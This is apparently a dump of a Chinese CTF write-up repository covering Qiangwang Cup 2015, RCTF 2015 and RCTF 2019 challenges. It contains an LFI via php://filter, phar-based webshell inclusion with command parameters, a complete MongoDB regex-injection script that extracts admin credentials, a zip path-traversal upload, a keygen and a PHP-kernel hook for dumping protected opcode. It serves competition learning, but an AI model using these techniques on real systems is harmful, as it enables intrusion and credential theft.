23 |
24 | acc=w3.eth.account.create()
25 | while not get_deployed_contract_addr(acc.address, 0).endswith('b1b1'):
26 | acc = w3.eth.account.create()
27 | print(acc.privateKey.__repr__())
--------------------------------------------------------------------------------
/QWB2019/scan_log.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/scan_log.png
--------------------------------------------------------------------------------
/QWB2019/scan_log_grep.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/scan_log_grep.png
--------------------------------------------------------------------------------
/QWB2019/webshell_scan_result.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/webshell_scan_result.png
--------------------------------------------------------------------------------
/QWB2019/webshell_source.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/webshell_source.png
--------------------------------------------------------------------------------
/QiangwangCup/CTF-Writeups_QiangwangCup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/CTF-Writeups_QiangwangCup.pdf
--------------------------------------------------------------------------------
/QiangwangCup/FFT.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/FFT.bmp
--------------------------------------------------------------------------------
/QiangwangCup/README.md:
--------------------------------------------------------------------------------
1 | # 2015强网杯Writeup
2 |
3 | ## Ringtone
4 | 用audacity打开ringtone.wav,查看频率分析,如图
5 | 
6 | 显然高频区有问题,切换到spectrogram模式,如图,
7 | 
8 | 可看到高频区域有一些信息,以0.1+0.4*x秒的模式来读,
9 | 翻译成二进制得0b01100110、0b00110110,
10 | 也即是"f6...",猜测应该是"flag{...}",
11 | 多看几个字符后发现每8位结尾都是0,
12 | 于是把每8bit倒序一下,得flag
13 | `flag{f0r3ns1c_1s_r3al1y_v3ry_ve7y_fun}`
14 | 吐槽一下flag太长了..人肉读二进制ascii真蛋疼= =
15 |
16 | ## keygen
17 | ida打开,发现0x400b56是关键部分,
18 | 
19 | 发现是把v16~v23部分与一些常数结合后md5,然后
20 | 
21 | 把MD5字符串这些转成对应字符的ascii码整数字符串,去掉0,
22 | 
23 | 再选第5位后字符与v8~v15比较。
24 | 然后发现要提交10个不同的sn才过。
25 |
26 | 然后写keygen,随便乱生成v16~v23部分,加上常数部分后md5一下,
27 | 计算出对应的v8~v15后填进sn的对应位,加上-就可以了,
28 | 最后几位sn是废的,直接填1111
29 |
30 | 下面的代码有些细节也许不对,偶尔生成的sn有问题,但懒得看了,反正换了几个字符串来生成sn就过了
31 | keygen.cpp
32 |
33 | #include "md5.h"
34 | #include
35 |
36 | using namespace std;
37 |
38 | void calc(const char *st) {
39 | MD5 a(st);
40 | const byte *p = a.digest();
41 | string v42 = "", res="";
42 | char buff[10];
43 | for(int k=0; k<=15; k++) {
44 | sprintf(buff, "%x", p[k]>>4);
45 | sprintf(buff, "%d", buff[0]);
46 | if(buff[0]!='0')
47 | v42+=buff;
48 | sprintf(buff, "%x", p[k]&0xf);
49 | sprintf(buff, "%d", buff[0]);
50 | if(buff[0]!='0')
51 | v42+=buff;
52 | }
53 | int pp=0, k=5;
54 | while(pp<8) {
55 | while(v42[pp+k]=='0') k++;
56 | res+=v42[pp+k];
57 | pp++;
58 | }
59 | printf("%c%c%c%c-%c%c%c%c-%c%c%c%c-%c%c%c%c-1111\n",
60 | res[3],
61 | st[0],
62 | st[8],
63 | res[7],
64 | res[6],
65 | res[4],
66 | st[4],
67 | res[5],
68 | st[2],
69 | st[6],
70 | res[1],
71 | st[10],
72 | res[0],
73 | st[12],
74 | st[14],
75 | res[2]);
76 | }
77 |
78 | int main() {
79 | calc("1413191117121012");
80 | calc("2413191117121012");
81 | calc("3413191117121012");
82 | calc("4413191117121012");
83 | calc("5413191117121012");
84 | calc("7413191117121012");
85 | calc("8413191117121012");
86 | calc("1413191117121022");
87 | calc("1413191117121032");
88 | calc("1413191117121002");
89 | return 0;
90 | }
91 |
92 |
93 | 得到的sn:
94 | ```
95 | 5115-6415-1111-8111-1111
96 | 4215-1815-1191-2117-1111
97 | 4314-7815-1191-1117-1111
98 | 4419-9819-1111-9112-1111
99 | 9519-8719-1111-9112-1111
100 | 5711-2415-1191-1117-1111
101 | 5818-4515-1191-9118-1111
102 | 5119-9215-1151-7121-1111
103 | 1118-4112-1151-8137-1111
104 | 8115-5111-1181-4104-1111
105 | ```
106 |
107 | ## 俳句
108 |
109 | 容易发现url有形如`/index.php?page=[upload|view]`
110 | 发现LFI,用php filter来获取源代码
111 | ```
112 | /index.php?page=php://filter/read=convert.base64-encode/resource=index
113 | /index.php?page=php://filter/read=convert.base64-encode/resource=main
114 | /index.php?page=php://filter/read=convert.base64-encode/resource=view
115 | /index.php?page=php://filter/read=convert.base64-encode/resource=upload
116 | ```
117 | 发现有upload_paiju文件夹,还有index.php里有
118 | ```
119 | $inc=sprintf("%s.php", $p);
120 | include($inc);
121 | ```
122 | 用%00无法截断".php"无法直接include .txt,于是用phar来绕过这个:
123 | 制作一个名为1.txt的zip里面放a.php
124 | a.php: ``
125 | 上传1.txt,用
126 | `/index.php?page=phar://upload_paiju/xxxxxxx.txt/a`
127 | 来成功include,然后是各种列目录:
128 | `/index.php?cmd=print_r(scandir('/tmp'));&page=phar://./upload_paiju/xxxxxxx.txt/a`
129 |
130 | tmp目录,html目录(都是open_basedir)都找遍也没发现flag,
131 | 然后是队友发现藏在/srv(另外一open_basedir下),有个FLAG文件...
132 | 那就`/index.php?cmd=print_r(file_get_contents('/srv/FLAG'));&page=phar://./upload_paiju/xxxxxxx.txt/a`得flag
--------------------------------------------------------------------------------
/QiangwangCup/after_md5.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/after_md5.bmp
--------------------------------------------------------------------------------
/QiangwangCup/before_md5.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/before_md5.bmp
--------------------------------------------------------------------------------
/QiangwangCup/check_md5.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/check_md5.bmp
--------------------------------------------------------------------------------
/QiangwangCup/spectrogram.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/spectrogram.bmp
--------------------------------------------------------------------------------
/RCTF2015/README.md:
--------------------------------------------------------------------------------
1 | # RCTF 2015
2 |
3 | ## weeeeeb3 WEB 150
4 |
5 | 先注册个账户,登陆进去发现cookie里面有个字段,发现其实是md5("$uid:$username")
6 | 尝试把它改掉,发现自己个人信息页进不去了,结合forget password页来看,估计就是用忘记密码找回admin账号,
7 | 把那个字段改成md5("1:admin"),个人信息页的url中把uid=1,就可以看见admin是1993/01/01的福建省福州市闽侯县人,
8 | 然后找回密码就可以了(然而好像有人搅屎,改了好几次才登录进去)
9 | 进入admin后台,发现原代码里是要module=filemanage&do=???,猜测是do=upload
10 | 发现页面给了个上传文件的表单(吐槽一下这次怎么全是要上传文件- -),表现如下:
11 | - 上传.php后缀:返回is a php!
12 | - 上传非.php后缀,content-type改成image/jpg: you know what i want
13 | - 上传.php5后缀,content-type改成image/jpg:: not a really php file
14 | - 文件里含有`成功拿到flag.
19 |
20 | ## login WEB 300
21 |
22 | ### Mongo注入
23 |
24 | ```python
25 | import requests, string
26 |
27 | headers = {
28 | 'Cookie': 'user=czo1OiJndWVzdCI7',
29 | 'X-Requested-With': 'XMLHttpRequest'
30 | }
31 |
32 | def probe(name, pwd):
33 | data = {
34 | 'username[$regex]': '/^' + ''.join(['\\x%02x' % ord(x) for x in name]) + '.*$/',
35 | 'password[$regex]': '/^' + ''.join(['\\x%02x' % ord(x) for x in pwd]) + '.*$/',
36 | }
37 | r = requests.post('http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php', headers=headers, data=data)
38 | if 'I think you can get them' in r.content:
39 | return True
40 | assert 'username or password error' in r.content
41 | return False
42 |
43 | cur_user = 'ROIS_ADMIN'
44 | cur_pass = 'pas5woRd_i5_45e2884c4e5b9df49c747e1d'
45 |
46 | while True:
47 | print 'Cur:', cur_user
48 | for c in string.printable:
49 | if probe(cur_user + c, ''):
50 | cur_user += c
51 | break
52 | else:
53 | break
54 |
55 | while True:
56 | print 'Cur:', cur_pass
57 | for c in string.printable:
58 | if probe(cur_user, cur_pass + c):
59 | cur_pass += c
60 | break
61 | else:
62 | break
63 |
64 | print 'User:', cur_user
65 | print 'Pass:', cur_pass
66 | ```
67 |
68 | 成功得到用户名,密码
69 | ```
70 | cur_user = 'ROIS_ADMIN'
71 | cur_pass = 'pas5woRd_i5_45e2884c4e5b9df49c747e1d'
72 | ```
73 |
74 | ### 登录后台
75 |
76 | 服务器关了有点蛋疼,记不太清后台页面说了一大堆什么
77 | 看到界面里有个上传zip的地方,大概还有就是根据页面给的提示,
78 | 给了个pclzip 2.8.2模块的代码(后来发现修改过),
79 | 还有html页面源代码里藏了一部分php代码,发现要碰撞一个PBKDF2才能上传文件
80 | 也就是上传文件是user-agent必须以rois_special_user_agent开头,长为65,
81 | $_COOKIE['backdoor']要跟ua的hash一样,那么要构造碰撞
82 |
83 | ### PBKDF2+HMAC hash collisions
84 |
85 | 直接把下面网址的代码copy下来改改就好了
86 | https://mathiasbynens.be/notes/pbkdf2-hmac
87 |
88 | ```python
89 | #!/usr/bin/env python
90 | # coding=utf-8
91 |
92 | import hashlib
93 | import itertools
94 | import re
95 | import string
96 | import sys
97 |
98 | TOTAL_LENGTH = 65
99 | PREFIX = 'rois_special_user_agent'
100 |
101 | prefix_length = len(PREFIX)
102 | brute_force_length = TOTAL_LENGTH - prefix_length
103 | passwords = itertools.product(string.ascii_lowercase, repeat=brute_force_length)
104 | regex_printable = re.compile('[\x20-\x7E]+$')
105 | base_hasher = hashlib.sha1()
106 | base_hasher.update(PREFIX)
107 |
108 | for item in itertools.imap(''.join, passwords):
109 | hasher = base_hasher.copy()
110 | hasher.update(item)
111 | sha1_hash = hasher.digest()
112 | if regex_printable.match(sha1_hash):
113 | print u'%s \U0001F4A5 %s'.encode('utf-8') % (PREFIX + item, sha1_hash)
114 | ```
115 |
116 | 跑出来的结果
117 | 
118 |
119 | 所以:
120 | `User-Agent:rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd`
121 | `backdoor=3-Rfm^Bq%3bZZAcl]mS&eE`
122 |
123 | ### 构造特殊zip
124 |
125 | 一开始不知道要干嘛,上传什么zip,后来发现上传路径里面是/upload/image/*
126 | 后来搜到这篇帖子:
127 | http://www.sa666.com/thread-39060-1-1.html
128 |
129 | 参考那篇帖子,构造一个压缩包,内含有
130 | 1.php
131 | ../1.php
132 | ../../1.php
133 | ../../../1.php
134 | 然后把某个文件在zip中的部分破坏一下,全改成a,让解压到一半的时候异常退出,防止解压出的文件被删掉
135 | 
136 |
137 | ### 本地测试
138 | 把那个.php.bak下载下来,改名叫pclzip.php,本地用下面的代码跑跑解压构造好的zip看看,
139 | ```php
140 | extract());
144 | var_dump($pclzip->errorInfo(true));
145 | ```
146 |
147 | 发现解压出来的文件被改了名字,是一个md5,搜了下pclzip.php,发现4415行中
148 | ```php
149 | // ----- Get filename
150 | if ($p_header['filename_len'] != 0) {
151 | $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
152 | $preNum = substr_count($p_header['filename'], '../');
153 | $prefix = str_repeat('../', $preNum);
154 | $element = explode('.', str_replace($prefix, '', $p_header['filename']));
155 | $fname = $prefix . md5($element[0]. 'RoisFighting'). '.' .end($element);
156 | $p_header['filename'] = $fname;
157 | }
158 | ```
159 | 可见解压出的文件名字是md5(原文件名 . 'RoisFighting').
160 |
161 | 把压缩包上传上去,返回fail,说明成功了
162 | 
163 |
164 | 访问新文件名对应的url就可以拿到flag了。
165 |
--------------------------------------------------------------------------------
/RCTF2015/web300_bad_zip.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_bad_zip.png
--------------------------------------------------------------------------------
/RCTF2015/web300_hash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_hash.png
--------------------------------------------------------------------------------
/RCTF2015/web300_payload.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_payload.png
--------------------------------------------------------------------------------
/RCTF2019/README.md:
--------------------------------------------------------------------------------
1 | # RCTF2019
2 |
3 | ### REV - source_guardian
4 |
5 | 这题只要魔改下php内核应该就能很容易得到opcode了,之前也魔改过内核于是来玩玩看,感觉并不难,还不如说opcode的逆向比较烦人...据说这题有rmb玩家...
6 |
7 | git clone & checkout个7.3的版本,windows上编译的话还要下载下`php-sdk-binary-tools`,`.\buildconf && .\configure --disable-zts --disable-debug`选了NTS版本,下载选了NTS版本loaders,然后`php.ini`设`zend_extension=`基本就算布置好环境(还有要x64编译,用64位的loader,否则32位的会load不了)。这里选用cli SAPI编译后有`php.exe`,同目录放`php.ini`就好。
8 |
9 | 魔改代码后如果只改了`*.h`没有改`*.c`要强行在`*.c`加些空格什么的,让`makefile`的依赖检测到时间戳变化,触发`nmake`时重新编译。
10 |
11 | 被三番四次魔改过的php内核diff:
12 |
13 | ```diff
14 | ----------------------------- Zend/zend_execute.h -----------------------------
15 | index d09a3f3..cd7612a 100644
16 | @@ -171,6 +171,20 @@ ZEND_API void zend_vm_stack_init(void);
17 | ZEND_API void zend_vm_stack_destroy(void);
18 | ZEND_API void* zend_vm_stack_extend(size_t size);
19 |
20 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args);
21 | +
22 | +ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type);
23 | +typedef zend_op_array *(*comp_file_t)(zend_file_handle *file_handle, int type);
24 | +static comp_file_t sg_comp_file = NULL;
25 | +
26 | +extern void vld_dump_oparray (zend_op_array *opa);
27 | +
28 | +static zend_op_array *new_zend_compile_file(zend_file_handle *file_handle, int type) {
29 | + zend_op_array *op_arr = sg_comp_file(file_handle, type);
30 | + vld_dump_oparray(op_arr);
31 | + return op_arr;
32 | +}
33 | +
34 | static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object)
35 | {
36 | call->func = func;
37 | @@ -182,6 +196,25 @@ static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call,
38 | ZEND_SET_CALL_INFO(call, 0, call_info);
39 | }
40 | ZEND_CALL_NUM_ARGS(call) = num_args;
41 | +
42 | + /*if (func && !func->common.function_name) {
43 | + vld_dump_oparray(&(func->op_array));
44 | + }*/
45 | + if (func && func->common.function_name) {
46 | + /*if (strcmp(ZSTR_VAL(func->common.function_name), "var_dump") == 0) {
47 | + if (!sg_comp_file) {
48 | + sg_comp_file = zend_compile_file;
49 | + zend_compile_file = new_zend_compile_file;
50 | + }
51 | + }*/
52 | + if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) {
53 | + vld_dump_oparray(&(func->op_array));
54 | + }
55 | + if (strcmp(ZSTR_VAL(func->common.function_name), "a") == 0) {
56 | + printf("FUNC2 %s\n", ZSTR_VAL(func->common.function_name));
57 | + php_my_compile_string(call, num_args);
58 | + }
59 | + }
60 | }
61 |
62 | ------------------------- Zend/zend_language_scanner.c -------------------------
63 | index 5d6d9ca..3acea8b 100644
64 | @@ -764,6 +764,7 @@ zend_op_array *compile_string(zval *source_string, char *filename)
65 | zval_ptr_dtor(&tmp);
66 | return NULL;
67 | }
68 | + //zend_write(Z_STRVAL_P(&tmp), Z_STRLEN(tmp));
69 |
70 | zend_save_lexical_state(&original_lex_state);
71 | if (zend_prepare_string_for_scanning(&tmp, filename) == SUCCESS) {
72 | @@ -777,6 +778,27 @@ zend_op_array *compile_string(zval *source_string, char *filename)
73 | return op_array;
74 | }
75 |
76 | +extern void php_var_dump(zval *struc, int level);
77 | +
78 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args) {
79 | + char code[] = "var_dump($v);";
80 | + zend_eval_stringl(code, sizeof(code)-1, NULL, "");
81 | +
82 | + zend_execute_data *execute_data = call;
83 | +
84 | + zval *args;
85 | + int argc;
86 | + int i;
87 | +
88 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args)
89 | + Z_PARAM_VARIADIC('+', args, argc)
90 | + ZEND_PARSE_PARAMETERS_END();
91 | +
92 | + for (i = 0; i < argc; i++) {
93 | + printf("args[%d]: ", i);
94 | + php_var_dump(&args[i], 1);
95 | + }
96 | +}
97 |
98 | BEGIN_EXTERN_C()
99 | int highlight_file(char *filename, zend_syntax_highlighter_ini *syntax_highlighter_ini)
100 |
101 | ---------------------------- Zend/zend_vm_execute.h ----------------------------
102 | index 5355f7b..18f56ea 100644
103 | @@ -60814,9 +60814,16 @@ zend_leave_helper_SPEC_LABEL:
104 | zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
105 | }
106 |
107 | +// 强行内核植入vld
108 | +#include "srm_oparray.c"
109 | +#include "set.c"
110 | +#include "branchinfo.c"
111 | +#include "vld.c"
112 | +
113 | ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value)
114 | {
115 | zend_execute_data *execute_data;
116 | + vld_dump_oparray(op_array);
117 |
118 | if (EG(exception) != NULL) {
119 | return;
120 | ```
121 |
122 | 出题人给出的提示writeup的主要意义就在于给出了一个比较良好的hook点`zend_vm_init_call_frame`,所有函数调用的时候都会经过这里。
123 |
124 | 比如说首先我们可以在这里强行插入个`var_dump`(把`PHP_FUNCTION(var_dump)`的代码粘贴到`php_my_compile_string`然后`zend_vm_init_call_frame`里调`php_my_compile_string`):
125 | ```c
126 | + zend_execute_data *execute_data = call;
127 | + zval *args;
128 | + int argc;
129 | + int i;
130 | +
131 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args)
132 | + Z_PARAM_VARIADIC('+', args, argc)
133 | + ZEND_PARSE_PARAMETERS_END();
134 | +
135 | + for (i = 0; i < argc; i++) {
136 | + printf("args[%d]: ", i);
137 | + php_var_dump(&args[i], 1);
138 | ```
139 |
140 | 然后函数调用实际上就变成`var_dump(...$args); ORIGINAL_FUNCTION(...$args);`了。跑一下php能得到调用函数名和对应的参数,然而参数似乎有些错位(得到的是前x>=0次函数调用的参数,脑补一下基本能看下大概,但后面被小坑了一下)如下:
141 |
142 | ```
143 | FUNC2 dirname
144 | args[0]: UNKNOWN:0
145 | FUNC2 sg_load
146 | args[0]: UNKNOWN:0
147 | FUNC2 var_dump
148 | args[0]: int(1)
149 | string(2) "11"
150 | FUNC2 verify
151 | args[0]: string(2) "11"
152 | FUNC2 php_sapi_name
153 | FUNC2 ini_get
154 | args[0]: UNKNOWN:0
155 | FUNC2 unpack
156 | args[0]: string(10) "vld.active"
157 | args[1]: UNKNOWN:0
158 | FUNC2 str_repeat
159 | args[0]: UNKNOWN:0
160 | args[1]: UNKNOWN:0
161 | FUNC2 array_values
162 | args[0]: string(2) "V*"
163 | FUNC2 floor
164 | args[0]: array(3) {
165 | [1]=>
166 | int(1195461702)
167 | [2]=>
168 | int(1380272223)
169 | [3]=>
170 | int(69)
171 | }
172 | FUNC2 a
173 | args[0]: int(19)
174 | args[1]: NULL
175 | args[2]: UNKNOWN:0
176 | args[3]: UNKNOWN:0
177 | args[4]: UNKNOWN:0
178 | args[5]: UNKNOWN:0
179 | FUNC2 a
180 | args[0]: int(2654435769)
181 | args[1]: int(1380272223)
182 | args[2]: int(9)
183 | args[3]: int(0)
184 | args[4]: int(2)
185 | args[5]: array(4) {
186 | [0]=>
187 | int(1752186684)
188 | [1]=>
189 | int(1600069744)
190 | [2]=>
191 | int(1953259880)
192 | [3]=>
193 | int(1836016479)
194 | }
195 | FUNC2 a
196 | args[0]: int(2654435769)
197 | args[1]: int(69)
198 | args[2]: int(1522836630)
199 | args[3]: int(1)
200 | args[4]: int(2)
201 | args[5]: array(4) {
202 | [0]=>
203 | int(1752186684)
204 | [1]=>
205 | int(1600069744)
206 | [2]=>
207 | int(1953259880)
208 | [3]=>
209 | int(1836016479)
210 | }
211 | FUNC2 a
212 | args[0]: int(2654435769)
213 | args[1]: int(9)
214 | args[2]: int(3439883452)
215 | args[3]: int(2)
216 | args[4]: int(2)
217 | args[5]: array(4) {
218 | [0]=>
219 | int(1752186684)
220 | [1]=>
221 | int(1600069744)
222 | [2]=>
223 | int(1953259880)
224 | [3]=>
225 | int(1836016479)
226 | }
227 | <.......省略N多次>
228 | FUNC2 a
229 | args[0]: int(3189639355)
230 | args[1]: int(3066432098)
231 | args[2]: int(3753685081)
232 | args[3]: int(1)
233 | args[4]: int(2)
234 | args[5]: array(4) {
235 | [0]=>
236 | int(1752186684)
237 | [1]=>
238 | int(1600069744)
239 | [2]=>
240 | int(1953259880)
241 | [3]=>
242 | int(1836016479)
243 | }
244 | FUNC2 a
245 | args[0]: int(3189639355)
246 | args[1]: int(3587527111)
247 | args[2]: int(1255178940)
248 | args[3]: int(2)
249 | args[4]: int(2)
250 | args[5]: array(4) {
251 | [0]=>
252 | int(1752186684)
253 | [1]=>
254 | int(1600069744)
255 | [2]=>
256 | int(1953259880)
257 | [3]=>
258 | int(1836016479)
259 | }
260 | Wrong!
261 | ```
262 |
263 | 可以看到检测了`vld.active`,以及大量调用了`a`这个盒函数。接下来我们dump一下`a`和题目的`verify`的opcode,
264 |
265 | 我们有多种方法dump opcode:
266 |
267 | - 一种是把vld植入到内核去(内核直接include vld的c文件一起编译比较方便快捷)然后在合适的时候调`vld_dump_oparray`
268 | - 或者把`ini_get('vld.active')`的返回结果hook掉正常上vld
269 | - 把vld中的'vld.active'选项换个名字什么的之类的。
270 | - ...and more
271 |
272 | 这里用的是第一种,代码详见一开始的diff。
273 |
274 | `zend_vm_init_call_frame`里插一句:
275 | ```c
276 | if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) {
277 | vld_dump_oparray(&(func->op_array));
278 | }
279 | ```
280 |
281 | 然后vld稍后发现也要魔改下,否则double和编译时常量array显示不全。vld里的print double时的`vld_printf("%g", zval)`被我替换成了`printf("%lf", zval)`,(等下还有个`$b`赋的数组字面量值的获取的问题)。得到的opcode:
282 |
283 | `a`函数和手动反编译opcode结果:
284 | ```
285 | filename: D:\php-src\x64\Release\protected.php
286 | function name: a
287 | number of ops: 24
288 | compiled vars: !0 = $q, !1 = $y, !2 = $z, !3 = $p, !4 = $e, !5 = $k
289 | line #* E I O op fetch ext return operands
290 | -------------------------------------------------------------------------------------
291 | 3 0* RECV
292 | 1* RECV
293 | 2* RECV
294 | 3* RECV
295 | 4* RECV
296 | 5* RECV
297 | 4 6* SR !2, 5
298 |
299 |
300 |
301 | 7* BW_AND ~6, 134217727
302 |
303 |
304 | 8* SL !1, 2
305 |
306 |
307 | 9* BW_XOR ~7, ~8
308 | ((($z >> 5) & 134217727) ^ ($y << 2))
309 |
310 | 10* SR !1, 3
311 |
312 |
313 |
314 | 11* BW_AND ~10, 536870911
315 |
316 |
317 | 12* SL !2, 4
318 | 13* BW_XOR ~11, ~12
319 | ((($y >> 3) & 536870911) ^ ($z << 4))
320 |
321 | 14* ADD ~9, ~13
322 | (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))
323 |
324 | 15* BW_XOR !0, !1
325 | ($q ^ $y)
326 |
327 | 16* BW_AND !3, 3
328 |
329 | 17* BW_XOR !4, ~16
330 |
331 |
332 | 18* FETCH_DIM_R !5, ~17
333 |
334 |
335 | 19* BW_XOR !2, ~18
336 | ($k[($e ^ ($p & 3))] ^ $z)
337 |
338 | 20* ADD ~15, ~19
339 | (($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z))
340 |
341 | 21* BW_XOR ~14, ~20
342 | 22* RETURN ~21
343 | 5 23* RETURN null
344 |
345 |
346 |
347 |
348 | $k = [1752186684,1600069744,1953259880,1836016479];
349 |
350 | function a($q, $y, $z, $p, $e, $k) {
351 | return (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z));
352 | }
353 | ```
354 |
355 | $k的值可以从上面`var_dump`的结果中直接拿过来就完了。
356 |
357 | `verify`函数和手动反编译opcode结果(100多行opcode看的要死,变量还多...结合代码行号一起看脑补方便点):
358 | ```
359 | filename: D:\php-src\x64\Release\protected.php
360 | function name: verify
361 | number of ops: 116
362 | compiled vars: !0 = $str, !1 = $v, !2 = $b, !3 = $k, !4 = $n, !5 = $z, !6 = $q, !7 = $sum, !8 = $e, !9 = $p, !10 = $y, !11 = $i
363 | line #* E I O op fetch ext return operands
364 | -------------------------------------------------------------------------------------
365 | 7 0* RECV
366 | 8 1* INIT_FCALL 'php_sapi_name'
367 | 2* DO_ICALL $12
368 | 3* IS_IDENTICAL $12, 'phpdbg'
369 | 4* JMPZ ~13, ->6
370 | 9 5* EXIT 'Sorry+but+no+phpdbg'
371 | 11 6* INIT_FCALL 'ini_get'
372 | 7* SEND_VAL 'vld.active'
373 | 8* DO_ICALL $14
374 |
375 |
376 | 9* IS_EQUAL $14, 1
377 | 10* JMPZ ~15, ->14
378 | 12 11* INIT_FCALL 'dir'
379 | 12* SEND_VAL 'Sorry+but+no+vld'
380 | 13* DO_ICALL
381 |
382 |
383 | 14 14* INIT_FCALL 'unpack'
384 | 15* SEND_VAL 'V%2A'
385 | 16* INIT_FCALL 'str_repeat'
386 | 17* SEND_VAL '%00'
387 | 18* STRLEN !0
388 | 19* MOD ~17, 4
389 | 20* SUB 4, ~18
390 | 21* BW_AND ~19, 3
391 | 22* SEND_VAL ~20
392 | 23* DO_ICALL $21
393 | 24* CONCAT !0, $21
394 | 25* SEND_VAL ~22
395 | 26* DO_ICALL $23
396 |
397 |
398 |
399 |
400 | 27* ASSIGN !1, $23
401 | $v = unpack('V%2A', $str.str_repeat('%00', 4-strlen($str)));
402 |
403 |
404 | 15 28* INIT_FCALL 'array_values'
405 | 29* SEND_VAR !1
406 | 30* DO_ICALL $25
407 | 31* ASSIGN !1, $25
408 |
409 |
410 | $v = array_values($v);
411 |
412 |
413 | 16 32* COUNT !1
414 | 33* STRLEN !0
415 | 34* ASSIGN_DIM !1, ~27
416 | 35* OP_DATA ~29
417 | $v[count($v)]=strlen($str);
418 |
419 | 17 36* ASSIGN !2,
420 | 18 37* ASSIGN !3,
421 | $k = [1752186684,1600069744,1953259880,1836016479];
422 | $b = ????;
423 |
424 | 19 38* COUNT !1
425 | 39* SUB ~32, 1
426 | 40* ASSIGN !4, strlen($str)
427 | $n= COUNT($v)-1;
428 |
429 | 20 41* FETCH_DIM_R !1, !4
430 | 42* ASSIGN !5, ~35
431 | $z = $v[COUNT($v)-1];
432 |
433 | 21 43* INIT_FCALL 'floor'
434 | 44* ADD !4, 1
435 | 45* DIV 52, ~37
436 | 46* ADD 6, ~38
437 | 47* SEND_VAL ~39
438 | 48* DO_ICALL $40
439 | 49* ASSIGN !6, $40
440 |
441 | $q = floor(52/COUNT($v)+6);
442 |
443 | 22 50* ASSIGN !7, 0
444 | 23 51* JMP ->97
445 | for($sum=0; $e >= 0; $q--) {
446 |
447 | 24 52* ADD !7, 2654435769
448 | 53* BW_AND ~43, 4294967295
449 | 54* ASSIGN !7, ~44
450 | $sum = ($sum + 2654435769) & 0xffffffff;
451 |
452 | 25 55* SR !7, 2
453 | 56* BW_AND ~46, 3
454 | 57* ASSIGN !8, ~47
455 | $e = ($sum >> 2) & 3;
456 |
457 | 26 58* ASSIGN !9, 0
458 | 59* JMP ->79
459 |
460 | for ($p=0; $p<$n; $p++) {
461 |
462 |
463 | 27 60* ADD !9, 1
464 | 61* FETCH_DIM_R !1, ~50
465 | 62* ASSIGN !10, ~51
466 | $y = $v[$p+1];
467 |
468 | 28 63* FETCH_DIM_R !1, !9
469 |
470 | 64* INIT_FCALL 'a'
471 | 65* SEND_VAR !7
472 | 66* SEND_VAR !10
473 | 67* SEND_VAR !5
474 | 68* SEND_VAR !9
475 | 69* SEND_VAR !8
476 | 70* SEND_VAR !3
477 | 71* DO_UCALL $55
478 |
479 | $z = $v[$p] = (a($sum, $y, $z, $p, $e, $k)+$v[$p]) & 0xffffffff;
480 |
481 |
482 | 72* ADD ~54, $55
483 | 73* BW_AND ~56, 4.29497e+9
484 |
485 | 74* ASSIGN_DIM $53 !1, !9
486 | 75* OP_DATA ~57
487 | 76* ASSIGN !5, $53
488 |
489 | 26 77* POST_INC !9
490 | 78* FREE ~59
491 |
492 | 79* IS_SMALLER !9, !4
493 | 80* JMPNZ ~60, ->60
494 | }
495 |
496 |
497 | 30 81* FETCH_DIM_R !1, 0
498 | 82* ASSIGN !10, ~61
499 |
500 | $y = $v[0];
501 |
